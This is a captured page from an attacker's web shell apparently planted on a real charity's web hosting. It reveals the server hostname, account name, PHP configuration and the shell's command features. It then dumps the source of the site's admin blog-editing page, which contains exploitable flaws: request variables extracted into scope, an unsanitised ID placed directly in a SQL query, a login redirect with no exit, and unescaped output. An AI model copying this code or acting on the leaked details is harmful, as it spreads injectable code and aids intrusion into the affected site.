D0R4H4X0R SH3LL
Server Information
Server: |
LiteSpeed |
System: |
Linux ezra.momentumhosting.cloud 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64 |
User: |
equalcompa ( 1022 ) |
PHP Version: |
8.2.28 |
Python Version: |
Python is not available |
Disabled Functions: | Cron, Curl, Ftp, GCC, Mail, Mysql, PKEXEC, Perl, Python, SendMail, Ssh, Wget, dl, exec, passthru, popen, posix_getpwuid, posix_kill, posix_mkfifo, posix_setegid, posix_seteuid, posix_setgid, posix_setpgid, posix_setsid, posix_setuid, posix_uname, proc_close, proc_open, shell_exec, show_source, system |
Features
Command Line
Find Longest Directory Path
Scan New PHP Files
Current File : /home/equalcompa/domains/equalcompassion.org/public_html/admin-portal/estud.php
<?php
session_start();
extract($_REQUEST);
$admin=$_SESSION['admin_logged_in'];
if($admin=="")
{
header('location:index.php');
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="author" content="Admin Portal" />
<meta name="robots" content="index, follow" />
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="Dashboard : Admin Portal Portal" />
<meta property="og:title" content="Dashboard : Admin Portal Portal" />
<meta property="og:description" content="Dashboard : Admin Portal Portal" />
<meta property="og:image" content="../logo.png"/>
<meta name="format-detection" content="telephone=no">
<title>Equal</title>
<!-- Favicon icon -->
<link rel="icon" type="image/png" sizes="16x16" href="../logo.png">
<link href="./vendor/jqvmap/css/jqvmap.min.css" rel="stylesheet">
<link rel="stylesheet" href="./vendor/chartist/css/chartist.min.css">
<link href="./vendor/bootstrap-select/dist/css/bootstrap-select.min.css" rel="stylesheet">
<link href="./vendor/owl-carousel/owl.carousel.css" rel="stylesheet">
<link href="./css/style.css" rel="stylesheet">
</head>
<body>
<!--*******************
Preloader start
********************-->
<div id="preloader">
<div class="sk-three-bounce">
<div class="sk-child sk-bounce1"></div>
<div class="sk-child sk-bounce2"></div>
<div class="sk-child sk-bounce3"></div>
</div>
</div>
<!--*******************
Preloader end
********************-->
<!--**********************************
Main wrapper start
***********************************-->
<div id="main-wrapper">
<!--**********************************
Nav header start
***********************************-->
<div class="nav-header">
<a href="./" class="brand-logo">
<img src="../wp-content/uploads/2021/08/logo-192.jpg" class="logo-abbr" style="height:50px;width:auto;"/>
<span class="brand-title">Equal Compassion </span>
</a>
<div class="nav-control">
<div class="hamburger">
<span class="line"></span><span class="line"></span><span class="line"></span>
</div>
</div>
</div>
<!--**********************************
Header start
***********************************-->
<div class="header">
<div class="header-content">
<nav class="navbar navbar-expand">
<div class="collapse navbar-collapse justify-content-between">
<div class="header-left">
<div class="dashboard_bar">
Edit Blog
</div>
</div>
<ul class="navbar-nav header-right">
<li class="nav-item dropdown header-profile">
<a class="nav-link" href="#" role="button" data-bs-toggle="dropdown">
<img src="../wp-content/uploads/2021/08/logo-192.jpg" width="20" alt="Equal Compassion"/>
<div class="header-info">
<span>Admin</span>
<small><?php echo $admin; ?></small>
</div>
</a>
<div class="dropdown-menu dropdown-menu-right">
<a href="./logout.php" class="dropdown-item ai-icon">
<svg id="icon-logout" xmlns="http://www.w3.org/2000/svg" class="text-danger" width="18" height="18" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M9 21H5a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2h4"></path><polyline points="16 17 21 12 16 7"></polyline><line x1="21" y1="12" x2="9" y2="12"></line></svg>
<span class="ms-2">Logout </span>
</a>
</div>
</li>
</ul>
</div>
</nav>
</div>
</div>
<!--**********************************
Header end ti-comment-alt
***********************************-->
<!--**********************************
Sidebar start
***********************************-->
<?php include('sidebar.php'); ?>
<!--**********************************
Sidebar end
***********************************-->
<!--**********************************
Content body start
***********************************-->
<div class="content-body">
<style>
.right{
text-align:right;
}
.left{
text-align:left;
}
</style>
<!-- row -->
<div class="container-fluid">
<div class="row page-titles mx-0">
<div class="col-sm-6 p-md-0">
<div class="welcome-text">
<h4>Hi, welcome back!</h4>
</div>
</div>
<div class="col-sm-6 p-md-0 justify-content-sm-end mt-2 mt-sm-0 d-flex">
<ol class="breadcrumb">
<li class="breadcrumb-item"><a href="dashboard.php">Home</a></li>
<li class="breadcrumb-item active"><a href="vstud.php">Edit Blog</a></li>
</ol>
</div>
</div>
<div class="row">
<style>
.popup {
display: none;
position: fixed;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
padding: 40px;
background-color: white;
border: 1px solid #ccc;
border-radius: 10px; /* Adding rounded corners */
box-shadow: 0 0 10px rgba(0, 0, 0, 0.3);
text-align:center;
}
.popup.success {
border-color: green;
color: green;
}
.popup.error {
border-color: red;
color: red;
}
.tick {
width: 60px;
height: 60px;
background-image: url('tick.gif'); /* Assuming tick.gif is your animated tick image */
background-size: cover;
display: block;
margin-bottom: 15px;
/* animation: spin 3s linear infinite; Adding animation to the tick */
}
@keyframes spin {
0% { transform: rotate(0deg); }
100% { transform: rotate(360deg); }
}
</style>
<script>
function showPopup(message, type) {
const popup = document.createElement('div');
popup.classList.add('popup', type);
popup.innerHTML = '<div class="tick"></div>' + message; // Add tick icon to the message
document.body.appendChild(popup);
popup.style.display = 'block';
setTimeout(() => {
popup.style.display = 'none';
document.body.removeChild(popup);
if (type === 'success') {
// Redirect to vstud.php after 3 seconds
setTimeout(() => {
window.location.href = 'vstud.php';
}, 3000);
}
}, 3000);
}
</script>
<div class="col-xl-12 col-lg-12">
<div class="card">
<div class="card-header">
<h4 class="card-title">Edit Blog Details</h4>
</div>
<?php
include('ant.php');
$xc = mysqli_query($con, "SELECT * FROM blogs WHERE id='" . $_REQUEST['e'] . "'");
$xcc = mysqli_fetch_assoc($xc);
?>
<div class="card-body">
<div class="basic-form">
<form id="updateBlogForm" method="POST" enctype="multipart/form-data">
<input type="hidden" name="blog_id" value="<?php echo $xcc['id']; ?>">
<input type="hidden" name="old_cover_image" value="<?php echo $xcc['cover_image']; ?>">
<!-- Cover Image Section -->
<div class="mb-3">
<label>Cover Image:</label>
<div>
<img src="<?php echo $xcc['cover_image']; ?>" alt="Cover Image" style="max-width: 100px; max-height: 100px;">
</div>
<input type="file" name="cimage" class="form-control input-rounded" accept="image/*">
</div>
<!-- Title Section -->
<div class="mb-3">
<label>Title:</label>
<input type="text" name="fname" value="<?php echo $xcc['title']; ?>" required class="form-control input-rounded" placeholder="Enter Title">
</div>
<!-- Brief Section -->
<div class="mb-3">
<label>Brief:</label>
<textarea name="phone" required class="form-control input-rounded" placeholder="Brief"><?php echo $xcc['brief']; ?></textarea>
</div>
<!-- Paragraph Section -->
<div class="mb-3" id="paragraphSection">
<label>Paragraphs:</label>
<?php
$paragraphs = json_decode($xcc['paragraphs'], true);
foreach ($paragraphs as $key => $paragraph) {
echo '<div class="paragraph-entry" id="paragraph_' . $key . '">
<textarea rows="4" name="paragraphs[]" class="form-control input-rounded" placeholder="Enter paragraph">' . htmlspecialchars($paragraph) . '</textarea>
<button type="button" class="btn btn-danger btn-sm remove-paragraph" style="margin-top: 5px;float:right;">Remove</button>
</div>';
}
?>
</div>
<button type="button" class="btn btn-secondary" id="addParagraphButton" style="float:left;">
<span class="fa fa-plus"></span> Add New Paragraph
</button>
<br><br>
<!-- Blog Gallery Images Section -->
<div class="mb-3">
<label>Add 3 Images to the Blog Gallery (Only 3 Images):</label>
<div id="existingGalleryImages">
<?php
$galleryImages = json_decode($xcc['gallery_images'], true);
if ($galleryImages) {
foreach ($galleryImages as $index => $image) {
echo '<div class="gallery-entry" data-index="' . $index . '" style="position: relative; display: inline-block; margin: 5px;">
<img src="' . $image . '" alt="Gallery Image" style="max-width: 100px; max-height: 100px;">
<button type="button" class="remove-image-btn" style="position: absolute; top: 0; right: 0; background: red; color: white; border: none; cursor: pointer;">X</button>
<input type="hidden" name="existing_images[]" value="' . $image . '">
</div>';
}
}
?>
</div>
<input type="file" id="galleryImages" name="galleryImages[]" class="form-control input-rounded" accept="image/*" multiple>
<div id="galleryPreview" style="margin-top: 10px;"></div>
</div>
<!-- Save Button -->
<div class="mb-3 right">
<button type="submit" class="btn btn-primary">Save Details</button>
</div>
</form>
<script>
// Handle removing existing images visually
document.querySelectorAll('.remove-image-btn').forEach(button => {
button.addEventListener('click', function() {
const galleryEntry = button.parentElement;
galleryEntry.style.display = 'none';
galleryEntry.querySelector('input[type="hidden"]').disabled = true; // Disable the input for removed images
});
});
// Handle dynamically adding new paragraphs
document.getElementById('addParagraphButton').addEventListener('click', function() {
let paragraphCount = document.querySelectorAll('#paragraphSection .paragraph-entry').length;
let newParagraph = document.createElement('div');
newParagraph.classList.add('paragraph-entry');
newParagraph.id = 'paragraph_' + paragraphCount;
newParagraph.innerHTML = `
<textarea rows="4" name="paragraphs[]" class="form-control input-rounded" placeholder="Enter paragraph"></textarea>
<button type="button" class="btn btn-danger btn-sm remove-paragraph" style="margin-top: 5px; float: right;">Remove</button>
`;
document.getElementById('paragraphSection').appendChild(newParagraph);
});
// Handle removing paragraphs
document.addEventListener('click', function(event) {
if (event.target && event.target.classList.contains('remove-paragraph')) {
event.target.closest('.paragraph-entry').remove();
}
});
// Handle gallery image preview
document.getElementById('galleryImages').addEventListener('change', function(event) {
let preview = document.getElementById('galleryPreview');
preview.innerHTML = ''; // Clear any previous preview images
let files = event.target.files;
for (let i = 0; i < files.length; i++) {
let reader = new FileReader();
reader.onload = function(e) {
let imgElement = document.createElement('img');
imgElement.src = e.target.result;
imgElement.style.maxWidth = '100px';
imgElement.style.maxHeight = '100px';
imgElement.style.margin = '5px';
preview.appendChild(imgElement);
};
reader.readAsDataURL(files[i]);
}
});
</script>
</div>
</div>
</div>
</div>
<script>
document.querySelector('form').addEventListener('submit', function(e) {
e.preventDefault();
let formData = new FormData(this);
formData.append('blog_id', '<?php echo $xcc["id"]; ?>'); // Include the blog ID in the form data
let xhr = new XMLHttpRequest();
xhr.open('POST', 'update_blog.php', true);
xhr.onload = function() {
if (xhr.status === 200) {
let response = JSON.parse(xhr.responseText);
if (response.status === 'success') {
alert(response.message);
location.reload(); // Optionally reload the page to see changes
} else {
alert(response.message);
}
}
};
xhr.send(formData);
});
</script>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!--**********************************
Content body end
***********************************-->
<!--**********************************
Footer start
***********************************-->
<div class="footer">
<div class="copyright">
<p>Copyright © <?php echo date('Y'); ?> Equal Compassion Uganda & Powered by <a href="tel:+256726008395" target="_blank">Sydney.</a> </p>
</div>
</div>
<!--**********************************
Footer end
***********************************-->
<!--**********************************
Support ticket button start
***********************************-->
<!--**********************************
Support ticket button end
***********************************-->
</div>
<!--**********************************
Main wrapper end
***********************************-->
<!--**********************************
Scripts
***********************************-->
<!-- Required vendors -->
<script src="./vendor/global/global.min.js"></script>
<script src="./vendor/bootstrap-select/dist/js/bootstrap-select.min.js"></script>
<script src="./js/custom.min.js"></script>
<!-- Chart piety plugin files -->
<script src="./vendor/peity/jquery.peity.min.js"></script>
<!-- Apex Chart -->
<script src="./vendor/apexchart/apexchart.js"></script>
<script src="./vendor/owl-carousel/owl.carousel.js"></script>
<!-- Dashboard 2 -->
<script src="./js/dashboard/dashboard-4.js"></script>
<script src="./js/deznav-init.js"></script>
<script>
jQuery(document).ready(function(){
setTimeout(function(){
dezSettingsOptions.version = 'dark';
new dezSettings(dezSettingsOptions);
}, 200);
});
function carouselReview(){
jQuery('.testimonial-one').owlCarousel({
loop:true,
autoplay:true,
margin:20,
nav:false,
rtl:true,
dots: false,
navText: ['', ''],
responsive:{
0:{
items:3
},
450:{
items:4
},
600:{
items:5
},
991:{
items:5
},
1200:{
items:7
},
1601:{
items:5
}
}
})
}
jQuery(window).on('load',function(){
setTimeout(function(){
carouselReview();
}, 1000);
});
</script>
</body>
</html>
D0R4H4X0R SH3LL